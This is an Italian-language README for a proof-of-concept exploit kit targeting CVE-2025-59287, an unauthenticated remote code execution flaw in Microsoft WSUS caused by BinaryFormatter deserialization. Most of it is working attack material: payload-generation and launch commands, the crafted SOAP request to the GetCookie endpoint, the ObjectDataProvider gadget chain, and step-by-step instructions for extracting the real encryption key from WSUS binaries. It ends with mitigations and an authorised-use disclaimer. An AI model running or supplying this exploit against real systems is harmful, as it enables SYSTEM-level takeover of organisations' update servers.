
Proof-of-concept exploit per CVE-2025-59287, una RCE critica non autenticata in WSUS tramite deserializzazione non sicura di BinaryFormatter, che raggiunge privilegi SYSTEM attraverso cookie crittografati appositamente costruiti.
CVE-2025-59287 è una vulnerabilità critica di Remote Code Execution (RCE) in Microsoft Windows Server Update Services (WSUS). La vulnerabilità è causata da una deserializzazione non sicura dei dati AuthorizationCookie tramite BinaryFormatter nel metodo EncryptionHelper.DecryptData().
Impatto: Attaccanti non autenticati possono ottenere l'esecuzione remota di codice con privilegi SYSTEM inviando cookie crittografati dannosi all'endpoint GetCookie().
Punteggio CVSS: Critico (9.8)
BinaryFormatter.Deserialize() chiamato su input non attendibili senza una validazione adeguata┌─────────────────┐
│ Attaccante │
│ │
│ 1. Genera │
│ Payload │
│ BinaryFmt │
│ │
│ 2. Crittografa │
│ Payload │
│ │
│ 3. Invia │
│ Richiesta │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Server WSUS │
│ │
│ Endpoint │
│ GetCookie() │
│ │
│ DecryptData() │◄─── Vulnerabile
│ │
│ BinaryFormatter│◄─── Deserializzazione non sicura
│ Deserialize() │
│ │
│ Esegue │◄─── RCE come SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Script exploit principale
├── BinaryFormatterPayloadGenerator.cs # Generatore payload .NET (C#)
├── encrypt_payload.py # Helper crittografia WSUS
├── requirements.txt # Dipendenze Python
└── README.md # Questo file
pip install -r requirements.txt
ysoserial.net come alternativaOpzione A: Utilizzando il generatore C# fornito
# Compilare il generatore
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Generare il payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Crea: payload_YYYYMMDDHHMMSS.bin
Opzione B: Utilizzando ysoserial.net (Consigliato)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
IMPORTANTE: La chiave di crittografia in encrypt_payload.py è un segnaposto. Per uno sfruttamento reale, è necessario:
encrypt_payload.py con la chiave reale# Utilizzando il file payload (crittograferà al volo)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Utilizzando un cookie pre-crittografato
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Con HTTPS (porta 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Genera, crittografa e sfrutta in un'unica operazione
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_BERSAGLIO> -f payload_*.bin
La chiave di crittografia deve essere estratta dai binari WSUS per uno sfruttamento reale.
Individuare le DLL WSUS:
%ProgramFiles%\Update Services\WebServices\bin\
Oppure la directory web IIS:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Aprire in dnSpy (decompilatore .NET gratuito):
Microsoft.UpdateServices.WebServices.dllCercare EncryptionHelper:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() e EncryptData()Pattern comuni:
Utilizzare WinDbg o x64dbg:
EncryptionHelper.DecryptData()Utilizzare Process Monitor:
Utilizzare IDA Pro o Ghidra:
Utilizzare l'utility strings:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Una volta ottenuta la chiave effettiva, aggiornare encrypt_payload.py:
# Sostituire questa riga in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # SEGNAPOSTO
# Con la chiave effettiva:
key_material = b"CHIAVE_EFFETTIVA_DAI_BINARI_WSUS"
Oppure passarla tramite riga di comando:
python encrypt_payload.py payload.bin -k "CHIAVE_EFFETTIVA"
┌─────────────────────────────────────────────────────────────┐
│ 1. Generare Payload BinaryFormatter │
│ ObjectDataProvider → Process.Start() → Esecuzione Comando│
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Crittografare il Payload │
│ AES-128-CBC con chiave di crittografia WSUS │
│ Codifica Base64 per la trasmissione │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Creare la Richiesta SOAP │
│ L'header AuthorizationCookie contiene il payload crittografato│
│ Metodo GetCookie() nel corpo SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Inviare all'Endpoint WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ Porta 8530 (HTTP) o 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Elaborazione WSUS │
│ DecryptData() decrittografa il cookie │
│ BinaryFormatter.Deserialize() esegue il payload │
│ → RCE come SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <BERSAGLIO>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
PAYLOAD_BINARYFORMATTER_CRITTOGRAFATO_BASE64
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
L'exploit utilizza la catena di gadget ObjectDataProvider:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
Quando BinaryFormatter.Deserialize() elabora questo, automaticamente:
ObjectDataProviderMethodName ("Start") su ObjectInstance (Process)MethodParameters (ProcessStartInfo)Applicare l'Aggiornamento di Sicurezza Microsoft: Applicare la patch immediatamente
Soluzione Temporanea: Bloccare le porte se WSUS non è necessario
# Bloccare il traffico in entrata sulle porte WSUS
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
Segmentazione di Rete: Limitare l'accesso agli endpoint WSUS
Sostituire BinaryFormatter: Microsoft dovrebbe sostituirlo con una serializzazione sicura
System.Text.Json o System.Xml.Serialization con validazione dei tipiValidazione degli Input: Aggiungere una validazione completa
Principio del Minimo Privilegio: Eseguire i servizi WSUS con privilegi minimi
Controllare i log WSUS per:
%ProgramFiles%\Update Services\LogFiles\
Cercare:
Monitorare per:
/ClientWebService/ClientWebService.asmx⚠️ AVVERTENZA: Questo codice exploit è fornito solo per test di sicurezza autorizzati.
✅ Usi Legali:
❌ Usi Illegali:
L'uso non autorizzato di questo exploit può comportare un procedimento penale. Utilizzare in modo responsabile ed etico.
Ricorda: Testare sempre in ambienti isolati e controllati. Non utilizzare mai contro sistemi che non possiedi o per i quali non hai un permesso esplicito di test.